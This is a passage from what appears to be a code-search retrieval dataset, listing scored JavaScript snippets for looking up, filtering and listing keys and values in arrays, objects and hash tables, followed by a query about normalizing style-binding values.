"b71dabb387eb037fc15716bad98674c9", "score": "0.61548674", "text": "get(key) { return this._pairs.find(p => p.first == key).map(p => p.second) }", "title": "" }, { "docid": "18bad59a004c1f08d30742ea1f9f1269", "score": "0.61034393", "text": "query (key, values) {\n return {[key]: {$in: values}}\n }", "title": "" }, { "docid": "2359b3e99be57c2c58ec28b3c081f043", "score": "0.61008877", "text": "search(key) {\n if (!this.tree.hasOwnProperty('key')) { return []; }\n \n return _search(this.compareKeys, this.tree, key)\n }", "title": "" }, { "docid": "7e6c6e9e8a0de76e3314f347f64e8b3c", "score": "0.6099818", "text": "getValueOfKeys(inputArg, regex) {\n return Object.keys(inputArg).filter((key) => {\n return regex.test(key) && inputArg[key]\n }).map((key) => inputArg[key])\n }", "title": "" }, { "docid": "c1bb7de4c8ef8166f8bfc3ccbf79d39d", "score": "0.6096717", "text": "function getByValue(array, value) {\n console.log(\"getByValue\");\n console.log(\"Array is: \");\n console.log(array);\n\n for (let i = 0; i < array.length; i++) {\n if (array[i].key == value) {\n console.log(\"Found a match\");\n return array[i];\n }\n else {\n console.log(\"No match found\");\n }\n }\n}", "title": "" }, { "docid": "f9221d416479f33b5a645810fa908610", "score": "0.60914683", "text": "getByKeyValue(key, value) {\n let savedData = (this.localStorageGet() !== null) ? this.localStorageGet() : [];\n let result = false;\n\n for (let i = 0; i < savedData.length; i++) {\n if (savedData[i][key] === value) {\n result = savedData[i];\n break;\n }\n }\n\n return result;\n }", "title": "" }, { "docid": "3e62974ca3601fc00ad1030d3ad60f8b", "score": "0.6084934", "text": "function hasCertainValue(arr, key, searchValue) {\n return arr.every((x) => {\n return x[key] === searchValue;\n })\n}", "title": "" }, { "docid": "653650e32850a2944905546f573090f0", "score": "0.6063559", "text": "get(key) {\n let list = this.map[key.value];\n if (list === undefined) return undefined;\n\n for (let term of list) {\n if (term[0].equals(key)) {\n return term[1];\n }\n }\n\n return undefined;\n }", "title": "" }, { "docid": "58124d30f118f2186cf89a5595cc6165", "score": "0.60558844", "text": "function findByKey (array, key, value,outkey) {\n\t \treturn array.filter(function (obj) {\n\t \t\treturn obj[key] === value;\n\t \t})[0];\n\t }", "title": "" }, { "docid": "97519d57832ad818efa5623af0242da8", "score": "0.6048243", "text": "function matchValuePair(collection = [], source) {\n let arr = [];\n\n collection.forEach(item => {\n let match = true;\n for (let prop in source) {\n if (source[prop] != item[prop]) {\n match = false;\n }\n }\n if (match) {\n arr.push(item);\n }\n });\n return arr;\n}", "title": "" }, { "docid": "88feb3e45eb7f990e04de96dabe623c2", "score": "0.6046659", "text": "function checkFilters(arr1, key, arr2) {\n var newArr = [];\n\n for ( var i = 0; i < arr1.length; i++ ) {\n if ( containsAll(arr2, arr1[i][key]) ) {\n newArr.push(arr1[i]);\n }\n }\n\n return newArr;\n }", "title": "" }, { "docid": "a90df293ef8caa4e54aa76a49175ecf3", "score": "0.6042995", "text": "function getElement(array, value, key) {\n return array.filter(key ? function (a) {\n return a[key] === value;\n } : function (a) {\n return Object.keys(a).some(function (k) {\n return a[k] === value;\n });\n });\n}", "title": "" }, { "docid": "0d71dd1163f057eaa86d6eb24267dcbb", "score": "0.60216254", "text": "filterList(array, key, value) {\n\t\t\t\treturn array.filter(item => {\n\t\t\t\t\treturn item[key].includes(value);\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "02fc11ffae3f2b5313dac9a3d018241c", "score": "0.5971172", "text": "function listValues(booksArray, key) {\n// const newArray = books.map(b => b[key])\n// return newArray;\n// }\n switch (key) {\n case \"author\":\n return listAuthors(books);\n break;\n case \"title\":\n return listTitles(books);\n break;\n }\n }", "title": "" }, { "docid": "2f59cc919342c9c25cde41d54f863abd", "score": "0.5937424", "text": "keys(){\n let keysArr = [];\n for(let i =0; i < this.keyMap.length; i ++){\n if(this.keyMap[i]){\n for(let j = 0; j < this.keyMap[i].length; j++){\n //if the value doesn't already exist in the keysArr, then include it. if there is already this value in the keysArr, then don't include it \n if(!keysArr.includes(this.keyMap[i][j][0])){\n keysArr.push(this.keyMap[i][j][0])\n }\n }\n }\n }\n return keysArr;\n }", "title": "" }, { "docid": "9593aae0da1f797011ab7f4bb4a53e19", "score": "0.5925458", "text": "values() {\n let valuesArr = [];\n //Loop through table\n for (let i = 0; i < this.keyMap.length; i++) {\n //If there is a bucket at that index\n if (this.keyMap[i]) {\n //Loop throught that bucket\n for (let j = 0; j < this.keyMap[i].length; j++) {\n //We want unique values only. If already in the array don't push.\n if (!valuesArr.includes(this.keyMap[i][j][1])) {\n //Push the VALUE (idx of 1) into the valuesArr\n valuesArr.push(this.keyMap[i][j][1]);\n }\n }\n }\n }\n return valuesArr;\n }", "title": "" }, { "docid": "f031fed508142bb841eae478ca904cdf", "score": "0.5914719", "text": "function getValueFromArrayByKey(key, array){\n // - set return object\n var returnObj = false;\n \n // - if array has 0 length\n if (array.length == 0) {\n return returnObj;\n }\n \n // - loop through each content\n for (var i = 0; i < array.length; i++) {\n // - if either key or value does not exist\n if (typeof array[i].key == \"undefined\" || typeof array[i].value == \"undefined\") {\n continue;\n }\n \n // - if key matches\n if (array[i].key == key) {\n returnObj = array[i];\n }\n }\n \n // - return object\n return returnObj;\n}", "title": "" }, { "docid": "d5768d8341b742212911ea9c98d35da5", "score": "0.5904954", "text": "function findScratchMatchByKeywordHeader(list, value){\n // console.log(value)\n var matches = []\n for (i = 0; i<list.length; i++){\n var keywords = list[i].header.split(' ')\n // alert(keywords);\n // console.log(list[i].type);\n if (keywords.includes(value)){\n matches.push(list[i]);\n }\n }\n // console.log(matches);\n return matches;\n}", "title": "" }, { "docid": "0ea76b14dded610aeb4d8f471ad298e9", "score": "0.58750093", "text": "function makeArray(obj, key1, value1, key2, cb) {\n var ids = [];\n _.map(obj, function(o) {\n if (o[key1] === value1) {\n ids.push(o[key2]);\n }\n });\n cb(null, ids);\n}", "title": "" }, { "docid": "f776a9641628c5372fae4fd46802a6a7", "score": "0.58439386", "text": "function where(collection, source) {\n // What's in a name?\n var arr = [];\n \n //Find the key and value in the source object\n var key = Object.keys(source);\n var value = source[key];\n \n //Determine if any objects in the array have a matching key and value with the source object\n for (var i = 0; i < collection.length; i++) {\n if (collection[i].hasOwnProperty(key) && collection[i][key] == value) {\n //Push the matching objects to a new array\n arr.push(collection[i]);\n }\n }\n \n return arr;\n}", "title": "" }, { "docid": "99553ecce7d66259c419704d94200567", "score": "0.5830588", "text": "function array_from_val(dict, key)\n{\n switch (dict.getsize(key)) {\n case 0: return [];\n case 1:\n if (dict.get(key) === \"<empty>\") { return []; }\n else { return [dict.get(key)]; }\n default: return dict.get(key);\n }\n}", "title": "" }, { "docid": "e011db02da0f2ba43092d9c1778f979e", "score": "0.58252615", "text": "keyValues() {\n const valuePairs = [];\n for (const k in this.table) {\n if (this.hasKey(k)){\n valuePairs.push(this.table[k]);\n }\n }\n return valuePairs;\n }", "title": "" }, { "docid": "25df70c18d1b36372092b706022f686c", "score": "0.5803492", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "0de9615683cf54b19110ea86fc4f2546", "score": "0.57890975", "text": "function FindInArray(array, keyValue) {\n\n for (var i = 1; i < array.length; i++) {\n if (array[i].Key() == keyValue) {\n return array[i];\n }\n }\n\n return null;\n}", "title": "" }, { "docid": "9b1979699b93665497e33c8a13d4f482", "score": "0.5785202", "text": "function arraySearch(valueKey, myArray){\n for (var i=0; i < myArray.length; i++) {\n if (myArray[i].title === valueKey) {\n return myArray[i];\n }\n }\n}", "title": "" }, { "docid": "b5479f00f496b2a035d4185069ffeaaa", "score": "0.5779028", "text": "function findBy(key, val) {\n\t return _items.filter(function(item) {\n\t return item[key] === val;\n\t });\n\t }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "3c28e2a10a617b1585fcc1abd15ff301", "score": "0.57670796", "text": "function findBy(key, val) {\n return _items.filter(function(item) {\n return item[key] === val;\n });\n }", "title": "" }, { "docid": "cfc943d9d0cf5eaa64b8930c0eea0915", "score": "0.5762384", "text": "function ValueOfKeyInKeyValuePairArray(array, key) {\n\tvar index = -1;\n\n\t$.each(array, function (ii, value) {\n\t\tif (value.Key === key)\n\t\t\tindex = ii;\n\t});\n\n\tif (index === -1) {\n\t\treturn undefined;\n\t} else {\n\t\treturn array[index].Value;\n\t}\n}", "title": "" }, { "docid": "1ba5749eada6fabb35e2e8227c03a6b2", "score": "0.5749312", "text": "function searchForCity(keyY, valueE) {\n for (let i = 0; i < yes.length; i++) {\n// console.log('now looping');\n if (yes[i].keyY == valueE) {\n console.log(`${yes[i].keyY}, is filtered`);\n resultsArray.push(yes[i]);\n console.log(resultsArray);\n }\n }\n\n}", "title": "" }, { "docid": "3c10a797c773d3a9414232c1fb9cabb7", "score": "0.57136416", "text": "get(key) {\n const idx = this._hash(key);\n //Check to avoid throwing an error in the loop.\n //If there is no array at that index, the loop will fail.\n if (this.keyMap[idx]) {\n for (let i = 0; i < this.keyMap[idx].length; i++) {\n if (key === this.keyMap[idx][i][0]) return this.keyMap[idx][i][1];\n }\n }\n return undefined;\n }", "title": "" }, { "docid": "c91b2fcdc0b9e95bc168f9ba9992431e", "score": "0.5709191", "text": "function filterGet(objArr, queryObj){\n let queryKeys = Object.keys(queryObj)\n //let res = data.filter(obj => queryKeys.every(key => obj[key] === queryObj[key]))\n let res = []\n for(let i = 0; i < objArr.length; i++){\n let obj = objArr[i]\n let match = true\n for(var j = 0; j < queryKeys.length; j++){\n let key = queryKeys[j]\n match = match && (obj[key] === queryObj[key])\n }\n if(match) res.push(obj)\n }\n return res\n}", "title": "" }, { "docid": "5dc11dd105dd9ecc685a3b6ddf9fecdf", "score": "0.56943727", "text": "keys(){\n let keyArr = [];\n for(let i=0; i< this.keyMap.length; i++){\n if(this.keyMap[i]){\n for(let j =0; j< this.keyMap[i].length ; j++){\n if(!keyArr.includes(this.keyMap[i][j][0])){\n keyArr.push(this.keyMap[i][j][0]);}\n }\n }\n }\n return keyArr;\n }", "title": "" }, { "docid": "a19c53fc5b398c029aadfd40a87b806f", "score": "0.5685573", "text": "function where(arr, matchObj) {\n\tvar result =[];\n\tfor (var i = 0; i < arr.length; i ++) {\n\t\tvar matchCount = 0;\n\t\tfor (var x in matchObj) {\n\t\t\tif (matchObj[x] == arr[i][x]) {\n\t\t\tmatchCount++;\n\t\t\t}\n\t\t}\n\t\t//MUST match all keys and their value of matchObj\n\t\t//Object.keys(object-name).length >> get length of object\n\t\tif (matchCount == Object.keys(matchObj).length) result.push(arr[i]);\n\t}\n\treturn result;\n}", "title": "" }, { "docid": "dc17d16735e9f29509e556c707b910d9", "score": "0.56664556", "text": "function findFruitByKey(key, value) {\n for (var i = 0; i < fruits.length; i++) {\n if (fruits[i][key] === value) {\n return fruits[i];\n }\n }\n return null;\n}", "title": "" }, { "docid": "0a8808768d441ae5377a383437bb7181", "score": "0.56563395", "text": "function ooGetValues() {\n\tvar key = arguments[0];\n\tvar lines = arguments[1].split(\"\\n\");\n\tvar N = lines.length;\n\tvar val = [];\n\tfor(var i = 0; i < N; i++) {\n\t\tvar cols = lines[i].split(\" \");\n\t\tvar M = cols.length;\n\t\tif(cols[M - 1] == key) {\n\t\t\tfor(var j = 0; j < M - 1; j++) {\n\t\t\t\tval.push(parseFloat(cols[j]));\n\t\t\t}\n\t\t}\n\t}\n\treturn val;\n}", "title": "" }, { "docid": "db507f7e15c5f45895caa79606cb2f88", "score": "0.5627544", "text": "values() {\n return this.keyValues().map(valuePair => valuePair.value);\n }", "title": "" }, { "docid": "ea4454924c176ed3401e6e1b3db8b9ed", "score": "0.56243575", "text": "keys() {\n let keysArray = [];\n\n // Loop through the array at that index\n for (let i = 0; i < this.keyMap.length; i++) {\n if (this.keyMap[i]) {\n for (let j = 0; j < this.keyMap[i].length; j++) {\n // Check if their is a duplicate value\n if (!keysArray.includes(this.keyMap[i][j][0])) {\n keysArray.push(this.keyMap[i][j][0]);\n }\n }\n }\n }\n\n return keysArray;\n }", "title": "" }, { "docid": "642ee4d97f834a9817ec7a8a3201f7ca", "score": "0.5616665", "text": "values() {\n let values = []\n // iterate over the whole keymap array to find the non empty ones\n for (let i = 0; i < this.keyMap.length; i++) {\n // then, iterate over the non-empty arrays to grab all the keys of the key/value pair\n if (this.keyMap[i]) {\n for (let j = 0; j < this.keyMap[i].length; j++) {\n values.push(this.keyMap[i][j][1])\n }\n }\n\n }\n return values\n\n }", "title": "" }, { "docid": "719b7def4f33777bd615a73df0d86ba8", "score": "0.56164604", "text": "function searchFor(key) {\n let result = [];\n data.forEach((item) => {\n if(item.title.toLowerCase().indexOf(key) != -1 || item.info.toLowerCase().indexOf(key) != -1) {\n result.push(item);\n }\n });\n\n rendre(result);\n }", "title": "" }, { "docid": "cdc3942648e424c3768b87ae72bfe4bb", "score": "0.5567183", "text": "get(key){\n\t\tlet address = this._hash(key);\n\t\tconst currentBucket = this.data[address];\n\t\tif(currentBucket)\n\t\t\tfor(let i=0; i<currentBucket.length; i++)\n\t\t\t\tif(currentBucket[i][0] == key) return currentBucket[i][1];\n\t\treturn undefined;\n\t}", "title": "" }, { "docid": "0c7530ce2efab3c33c31cf4a3d8501f3", "score": "0.55582744", "text": "get(key){\n const address = this._hash(key); // Get address of existing data by hashing the key.\n const currentBucket = this.data[address] // Get the data stored into this address\n if (currentBucket) {\n for(let i = 0; i < currentBucket.length; i++){ // looping throw the array [if there's linked list]\n if(currentBucket[i][0] === key) { // i --> looping of arrays 0 --> looping of key\n return currentBucket[i][1] // return value of this array\n }\n }\n }\n return undefined; // return undefined if it doesn't exists\n }", "title": "" }, { "docid": "233069aa37e7b92dc453eefd5f0e986b", "score": "0.5556935", "text": "keys() {\n let keysArray = [];\n for (let i = 0; i < this.keyMap.length; i++) {\n if (this.keyMap[i]) {\n for (let j = 0; j < this.keyMap[i].length; j++) {\n if (!keysArray.includes(this.keyMap[i][j][0])) {\n keysArray.push(this.keyMap[i][j][0]);\n }\n }\n }\n }\n return keysArray;\n }", "title": "" }, { "docid": "ecfa5ac78876e19367f1794bc29167f6", "score": "0.5555743", "text": "getAllRows(key) {\n return this.keyMap[key] || []\n }", "title": "" }, { "docid": "143a6521ac9d95009e46681dab6c2555", "score": "0.55392873", "text": "function valueColumn(dictList, key) {\n var newList = [];\n for (var i = 0; i < dictList.length; i++) {\n var values = dictList[i][key];\n newList.push(values); \n }\n return newList;\n }", "title": "" }, { "docid": "0efe77881300544d94ac6fdf1698443d", "score": "0.5538011", "text": "find(list,findKeyName,compairingValue){\n for(let i = 0; i < list.length ; i++){\n let item = list[i];\n \n if(item[findKeyName] === compairingValue){\n return item; \n }\n \n }\n }", "title": "" }, { "docid": "5d3d16196e6122d78f5a79fea8381d46", "score": "0.55314475", "text": "keys() {\n let keysArr = [];\n //Loop through table\n for (let i = 0; i < this.keyMap.length; i++) {\n //If there is a bucket at that index\n if (this.keyMap[i]) {\n //Loop throught that bucket\n for (let j = 0; j < this.keyMap[i].length; j++) {\n //We want unique values only. If already in the array don't push.\n if (!valuesArr.includes(this.keyMap[i][j][0])) {\n //Push the KEY (idx of 0) into the keysArr\n keysArr.push(this.keyMap[i][j][0]);\n }\n }\n }\n }\n return keysArr;\n }", "title": "" }, { "docid": "c791afcdc98fc8a9e0a8270ffc16544a", "score": "0.5508536", "text": "get(key) {\n let address = this._hash(key);\n //check the array for the address\n const currentBucket = this.data[address];\n //if this bucket has something in it\n if (currentBucket) {\n for (let i = 0; i < currentBucket.length; i++){\n if (currentBucket[i][0] === key) {\n return current[i][1];\n };\n };\n };\n return undefined;\n }", "title": "" }, { "docid": "94340df9dc79033d7a3cbb31906b1ab9", "score": "0.5496298", "text": "function findDistinctValues({\"name\": \"John\" \"age\": 20},{\"name\": \"Bob\" \"age\": 40} ) \n {\n var a = [], b = [], l = array.length, i;\n for( i=0; i<l; i++) \n {\n if( a[array[i].age]) continue;\n a[array[i].age] = true;\n b.push(array[i].age);\n }\n }", "title": "" }, { "docid": "018e0dcec282f603facc8829606dbed5", "score": "0.5495053", "text": "function hasCertainKey(arr, key, ) {\n return arr.every(function(val) {\n return key in val;\n });\n }", "title": "" }, { "docid": "89c9b4ab6e364c7c718504513bb81369", "score": "0.5478255", "text": "intersectionArr(otherSet) {\n let results = [];\n for (var k in this.items) {\n if (otherSet.has(k)) {\n results.push(k);\n }\n }\n return results;\n }", "title": "" }, { "docid": "58d59259e5a6cd857bfdd1d5bcd8f63d", "score": "0.5474578", "text": "function findSameKey(rule, key) {\n var pack = [];\n for (var i = 0; i < rule.length; i++) {\n if (Object.getOwnPropertyNames(rule[i]) == key) {\n pack.push(Object.values(rule[i]));\n }\n }\n return pack;\n}", "title": "" }, { "docid": "cc7de691affd727ff860a0436e2a53b6", "score": "0.54736316", "text": "function filterByValue(arr, key) {\n arr.filter(val => {\n return val[key] !== undefined;\n });\n}", "title": "" }, { "docid": "03b018f984b704a1b6aa331cac61aeef", "score": "0.54401547", "text": "function filterOn(vals, key) {\n var allowed = [];\n allowed.push(key)\n return Object.keys(vals)\n .filter(key => allowed.includes(key))\n .reduce((obj, key) => {\n obj[key] = vals[key];\n return obj;\n }, {});\n}", "title": "" }, { "docid": "ca51758bccbac88e88b78454892200cd", "score": "0.5432105", "text": "function searchKeyPair(array_of_key_pair,key, value){\n // console.log(\"searching for \",value, 'in ' , array_of_key_pair , ' using key ', key); \n for (var i=0; i < array_of_key_pair.length; i++ ){\n // console.log('my_grid.array_of_key_pair[',i,'][value]', array_of_key_pair[i][key]); \n if(array_of_key_pair[i][key] === value ){\n return i;\n }\n }\n return -1; \n }", "title": "" }, { "docid": "9d69c8b9aa34568f199cc14753ae8fd0", "score": "0.5416347", "text": "matchKeyValue (filterKey, filterValue, item, found = { result: false }) {\n for (const itemKey in item) {\n if (found.result) break\n if (!item.hasOwnProperty(itemKey)) continue\n const itemValue = item[itemKey]\n if (typeof itemValue === 'object') {\n if (Array.isArray(filterValue) && Array.isArray(itemValue) && typeof itemValue[0] !== 'object') {\n found.result = this.isSupersetOf(itemValue, filterValue)\n } else {\n this.matchKeyValue(filterKey, filterValue, itemValue, found)\n }\n } else if (filterKey === itemKey && this.matchString(filterValue, itemValue)) {\n found.result = true\n }\n }\n return found.result\n }", "title": "" }, { "docid": "8dbbd2cd3140b79abaea9784903711da", "score": "0.5413192", "text": "getDataWhere(key, dataFilter = false) {\n\t\tlet lookupData;\n\t\tif (dataFilter) lookupData = Object.keys(this.data).filter(dataFilter);\n\t\telse lookupData = Object.keys(this.data);\n\n\t\tfor (const type of lookupData) {\n\t\t\tconst data = this.data[type];\n\t\t\tconst fetched = this.dictLookup(key, type, data);\n\t\t\tif (fetched) return fetched;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "d1b0a3324a7e930a78dffd3d3e4e4e3b", "score": "0.5395485", "text": "function filterKey(arr, key){\n return arr.filter(function(obj){\n if(obj[key] === true){\n console.log(obj);\n };\n })\n}", "title": "" }, { "docid": "4f5e9f9014530ecd0fa73596be9a997b", "score": "0.53859675", "text": "function whatIsInAName(collection, source) {\n var arr = [];\n let keys = Object.keys(source);\n let values = Object.values(source);\n\n for (let i = 0; i < collection.length; i++) {\n let match = 0;\n let numToMatch = keys.length;\n let currCollection = collection[i];\n for (let j = 0; j < keys.length; j++) {\n let currKey = keys[j];\n if (currCollection[currKey] == values[j]) {\n match++\n }\n }\n if (match == numToMatch) {\n arr.push(collection[i]);\n }\n match = 0;\n }\n return arr;\n}", "title": "" }, { "docid": "09afa26f045fe46efaa3ed39754812ee", "score": "0.53857017", "text": "function values(hash) {\n var keys = Object.keys(hash);\n var result = [];\n for (var i = 0; i < keys.length; i++) {\n result.push(hash[keys[i]]);\n }\n return result;\n}", "title": "" }, { "docid": "74beaa41542c7eceae65c6f287842f1a", "score": "0.5381856", "text": "function getPotentialWildcardMatches( keypath ) {\n\t\t\tvar keys, starMap, mapper, i, result, wildcardKeypath;\n\t\t\tkeys = keypath.split( '.' );\n\t\t\tstarMap = getStarMap( keys.length );\n\t\t\tresult = [];\n\t\t\tmapper = function( star, i ) {\n\t\t\t\treturn star ? '*' : keys[ i ];\n\t\t\t};\n\t\t\ti = starMap.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\twildcardKeypath = starMap[ i ].map( mapper ).join( '.' );\n\t\t\t\tif ( !result[ wildcardKeypath ] ) {\n\t\t\t\t\tresult.push( wildcardKeypath );\n\t\t\t\t\tresult[ wildcardKeypath ] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}", "title": "" }, { "docid": "74beaa41542c7eceae65c6f287842f1a", "score": "0.5381856", "text": "function getPotentialWildcardMatches( keypath ) {\n\t\t\tvar keys, starMap, mapper, i, result, wildcardKeypath;\n\t\t\tkeys = keypath.split( '.' );\n\t\t\tstarMap = getStarMap( keys.length );\n\t\t\tresult = [];\n\t\t\tmapper = function( star, i ) {\n\t\t\t\treturn star ? '*' : keys[ i ];\n\t\t\t};\n\t\t\ti = starMap.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\twildcardKeypath = starMap[ i ].map( mapper ).join( '.' );\n\t\t\t\tif ( !result[ wildcardKeypath ] ) {\n\t\t\t\t\tresult.push( wildcardKeypath );\n\t\t\t\t\tresult[ wildcardKeypath ] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}", "title": "" }, { "docid": "4b0a96d51e2456759c2d93048437acc6", "score": "0.5371521", "text": "static findPair(obj, func) {\r\n // Get the keys of the this object\r\n const keys = Object.keys(obj);\r\n // Go through all keys\r\n for (let i = 0; i < keys.length; i++) {\r\n const key = keys[i];\r\n const value = obj[key];\r\n // Check if the value matches the constraint\r\n if (func(key, value))\r\n return [key, value];\r\n }\r\n }", "title": "" }, { "docid": "4717c5ae5695f4a8fa7a3da07b5e468f", "score": "0.5345247", "text": "get(key) {\n key = normalizeKey(key);\n validate(key);\n return this.internalRepr.get(key) || [];\n }", "title": "" }, { "docid": "4717c5ae5695f4a8fa7a3da07b5e468f", "score": "0.5345247", "text": "get(key) {\n key = normalizeKey(key);\n validate(key);\n return this.internalRepr.get(key) || [];\n }", "title": "" }, { "docid": "e61550eb1eeefc7b00c5c617cbaf6e17", "score": "0.53345346", "text": "function array_pluck(array, value) {\r\n var values = [];\r\n array.forEach(function (d) {\r\n d[value].forEach(function (c) {\r\n if (values.indexOf(c) === -1) {\r\n values.push(c);\r\n }\r\n });\r\n\r\n });\r\n\r\n return values;\r\n}", "title": "" }, { "docid": "6fe6f1370c2dec29ebbf5cbe08e53bb9", "score": "0.53341043", "text": "function findObjectByKey(array, key, value) {\n for (var i = 0; i < array.length; i++) {\n if (array[i][key] === value) {\n return array[i];\n }\n }\n return null;\n}", "title": "" }, { "docid": "06e6081fb52add806da99bca84635ae3", "score": "0.5322625", "text": "function getValIndexInArry(arry, key, guid){\n\t\tvar i;\n\n\t\tif (arry.length > 0) {\n\t\t\tfor (i=0; i<arry.length; i++) {\n\t\t\t\tif (arry[i][key] === guid) {\n\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "a02205be064c1a622cc38e8e4d73dc3c", "score": "0.5322206", "text": "function extractKey(arr, key) {\n return arr.reduce(function (acc, el) {\n acc.push(el[key]);\n return acc;\n }, []);\n}", "title": "" }, { "docid": "6f43f6d43777fb5229e4a1c0d5837179", "score": "0.5319278", "text": "function getObjectInListByKey(list, key, value)\n{\n for (var i=0; i<list.length; i++)\n {\n var tItem = list[i];\n if ( typeof(tItem[key]) !== 'undefined' && tItem[key] === value)\n {\n return tItem;\n }\n }\n return null;\n}", "title": "" }, { "docid": "63ee6d18a6cc8d5b79d0d06d7d5b6653", "score": "0.5317794", "text": "function getSearchResults(key) {\n let primaryUserAdded = false;\n const results = [];\n const regExp = new RegExp(\"\\\\b\" + key);\n users.forEach( user => {\n const info = (user.displayName + ' ' + user.username).toLowerCase();\n if (!regExp.test(info)) return;\n if (primaryUser === user) {\n results.unshift(addResult(user));\n primaryUserAdded = true;\n return;\n }\n if (primaryUserAdded && primaryUser.following.includes(user)) {\n results.splice(1, 0, addResult(user))\n return;\n }\n if (primaryUser.following.indexOf(user) > -1) {\n results.unshift(addResult(user));\n return;\n }\n results.push(addResult(user));\n });\n return results;\n}", "title": "" }, { "docid": "158e503463aa6c005a5997504146cf12", "score": "0.531169", "text": "find(_criteria) {\n\t\tlet keys = Object.keys(_criteria);\n\t\tlet values = Object.keys(_criteria).map(function(key) {\n\t\t\treturn _criteria[key];\n\t\t});\n\t\tlet res = [];\n\n\t\t// sanity check\n\t\tif (keys.length !== values.length) return null;\n\n\t\tfor (let i = 0; i < this._cards.length; i++) {\n\t\t\tfor (let j = 0; j < keys.length; j++) {\n\t\t\t\tif (this._cards[i][keys[j]] !== values[j]) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t// make sure this object has fulfilled all criteria, not just one\n\t\t\t\tif (j === keys.length - 1) \n\t\t\t\t\tres.push(this._cards[i]);\n\t\t\t}\n\t\t}\n\n\t\treturn res;\n\t}", "title": "" }, { "docid": "aaea646c50b5fcd7b8b2ce8bc09c670e", "score": "0.52996624", "text": "search(value, search)\n\t{\n\t\tif (search.operator === \"equals\")\n\t\t{\n\t\t\tfor (let item of value)\n\t\t\t{\n\t\t\t\tif (item.key === search.value)\n\t\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t\treturn false;\n\t}", "title": "" }, { "docid": "7d562c72f017f985f54961b9c91e0686", "score": "0.5299566", "text": "function getAll(keyArr) {\n\t\t\treturn _.map(keyArr, getOne);\n\t\t}", "title": "" }, { "docid": "e33509f8c654b630eefae450c295cd8d", "score": "0.5281919", "text": "keys() {\n let keysResult = [];\n if (this.keyMap.length === 0) return undefined;\n for (let i = 0; i < this.keyMap.length; i++) {\n // don't forget to check if this.keyMap[i] exists\n if (this.keyMap[i]) {\n for (let j = 0; j < this.keyMap[i].length; j++) {\n let eachKey = this.keyMap[i][j][0]\n if (!keysResult.includes(eachKey)) {\n keysResult.push(eachKey);\n }\n }\n }\n }\n return keysResult;\n }", "title": "" }, { "docid": "69aacc481991aabd48b9ae9b967f9f24", "score": "0.52746403", "text": "function search(nameKey, myArray) {\n for (var i = 0; i < myArray.length; i++) {\n if (myArray[i].name === nameKey) {\n return myArray[i];\n }\n }\n}", "title": "" }, { "docid": "f0008a94293d17a7685bfec3958218ce", "score": "0.5273543", "text": "function plunk(arr,key) {\n const result = [];\n for (let i =0 ; i<arr.length; i++){\n result.push(arr[i][key]);\n }\n return result;\n}", "title": "" }, { "docid": "71f7238f53aedcb11c43191a50292814", "score": "0.5272616", "text": "function getTypes(event, key) {\n let keyTypes = [];\n event.forEach(item => {\n if (item[key]) {\n item[key].map(type => {\n if (keyTypes.indexOf(type) === -1) keyTypes.push(type);\n return false;\n });\n return false;\n }\n });\n return keyTypes;\n}", "title": "" }, { "docid": "066e7ca2dbf8cd414a815b72017c9035", "score": "0.5257503", "text": "get(key) {\n //first get the hash\n let index = this._hash(key)\n // then retrieve the array of key/val pairs at that index/hash\n let array = this.keyMap[index]\n\n if (!array) return undefined\n\n //grab the element with the desired key\n let element = array.filter(element => element[0] === key)\n\n if (!element) return undefined\n\n //return the key\n return element[0]\n\n\n }", "title": "" } ]
8daa402f8c8cd4bf608672371dbf2b2b
normalize possible array / string values into Object
[ { "docid": "e3ad54b44d24952fe77123b15be9f17d", "score": "0.0", "text": "function normalizeStyleBinding (bindingStyle) {\n\t if (Array.isArray(bindingStyle)) {\n\t return toObject(bindingStyle)\n\t }\n\t if (typeof bindingStyle === 'string') {\n\t return parseStyleText(bindingStyle)\n\t }\n\t return bindingStyle\n\t}", "title": "" } ]
